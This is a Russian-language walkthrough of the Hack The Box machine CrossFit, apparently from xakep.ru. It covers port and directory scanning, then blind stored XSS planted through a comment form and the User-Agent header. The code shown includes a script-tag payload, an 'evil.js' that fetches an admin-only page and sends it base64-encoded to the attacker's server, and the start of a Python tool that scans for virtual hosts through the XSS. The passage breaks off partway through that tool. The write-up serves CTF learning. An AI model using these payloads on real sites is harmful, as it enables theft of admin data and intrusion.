Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье на примере «безумной» по уровню сложности машины CrossFit с площадки Hack The Box я покажу, как искать XSS на недоступных страницах сайта, сканировать домены через XSS, проводить разведку на машине с Linux, удаленно исполнять код, используя FTP, и эксплуатировать инъекцию команд в пользовательском приложении. А под конец немного пореверсим, чтобы найти финальную уязвимость.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес машины — 10.10.10.208, добавляем его в /etc/hosts
для удобства.
10.10.10.208 crossfit.htb
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скрипта
Результат работы скрипта (продолжение)
По результатам сканирования имеем три открытых порта:
На SSH нам ловить нечего, так как там можно разве что брутфорсить учетные данные, а это последнее дело. Куда интереснее наличие сертификата у службы FTP. Как учат все курсы разведки, из сертификата можно получить интересную информацию. У любого сертификата есть важное поле Common Name — доменное имя сервера, для которого действителен сертификат. В нашем случае это gym-club.crossfit.htb
.
Доменное имя, указанное в поле Common Name
Найденное имя мы сразу добавляем в файл /etc/hosts
.
10.10.10.208 gym-club.crossfit.htb
Переходим к веб‑серверу. На 80-м порте по адресу http://crossfit.htb
нас встречает стартовая страница Apache. А вот по найденному в сертификате домену http://gym-club.crossfit.htb
открывается сайт тренажерного зала.
Стартовая страница Apache по адресу http://crossfit.htb
Пользовательский сайт http://gym-club.crossfit.htb
Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
dir
— сканирование директорий и файлов;-k
— не проверять SSL-сертификат;-t []
— количество потоков;-u []
— URL-адрес для сканирования;-x []
— интересующие расширения файлов, перечисленные через запятую;-w []
— словарь для перебора;--timeout []
— время ожидания ответа.gobuster dir -t 128 -u http://crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://crossfit.htbgobuster dir -t 128 -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://gym-club.crossfit.htb
По результатам сканирования можно сказать, что http://crossfit.htb
интереса больше не представляет. На http://gym-club.crossfit.htb
есть интересный каталог с вызывающим названием security_threat
. В нем — единственный файл, при обращении к которому получаем сообщение, что доступ к информации ограничен.
Содержимое http://gym-club.crossfit.htb
Обнаруженные подкаталоги и файлы на http://gym-club.crossfit.htb
Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.
При осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
sudo python3 -m http.server 80
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
<script src="http://[локальный IP адрес]/></script>
Тестовая нагрузка в поле комментария
В качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!
Сообщение о блокировке XSS
Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.
На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent
протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.
Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent
. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.
Запрос, содержащий нагрузку XSS в заголовке User-Agent
Попытка загрузки скрипта с веб‑сервера локального хоста (отклик)
Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.
Теперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы open
и send
объекта XMLHttpRequest
.
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.send();
Код запрошенной страницы здесь сохраняется в переменной xhr.responseText
, и его еще нужно передать на наш сервер, чтобы он отобразился в логах. Значение для сохранения целостности сначала закодируем в Base64, чтобы непечатаемые символы нам не помешали. В качестве триггера для отправки будем использовать метод onload
объекта XMLHttpRequest
. Полный код выглядит следующим образом.
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.onload = function () { var request = new XMLHttpRequest(); request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true); request.send();};xhr.send();
Сохраняем его в файл (у меня evil.js
) в директории запущенного веб‑сервера. После чего повторяем запрос с известной нагрузкой в заголовке User-Agent
, но уже указываем для загрузки скрипта свой файл.
<script src="http://10.10.14.80:8888/evil.js"></script>
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их.
Логи локального веб‑сервера
Декодирование кода страницы report.php
К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.
Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы http://gym-club.crossfit.htb/security_threat/report.php
будет запрашивать корневую страницу на разных поддоменах http://[random].crossfit.htb
.
Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.
Сначала пишем стандартную «базу» для сервера.
#!/usr/bin/env python3from http.server import BaseHTTPRequestHandler, HTTPServerimport loggingimport requestsdef run(server_class=HTTPServer, handler_class=EvilServer, port=8888): server_address = ('', port) httpd = server_class(server_address, handler_class) request() try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close()if __name__ == '__main__':run()
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number
и каждый раз менять имя файла со скриптом на JS. В качестве словаря используем namelist.txt из набора SecLists.
global vhost_numbervhost_number = 0;with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f: global vhostsvhosts = f.read().split('n')[:-1]
Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
def request(): headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'} data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'} requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
Источник: xakep.ru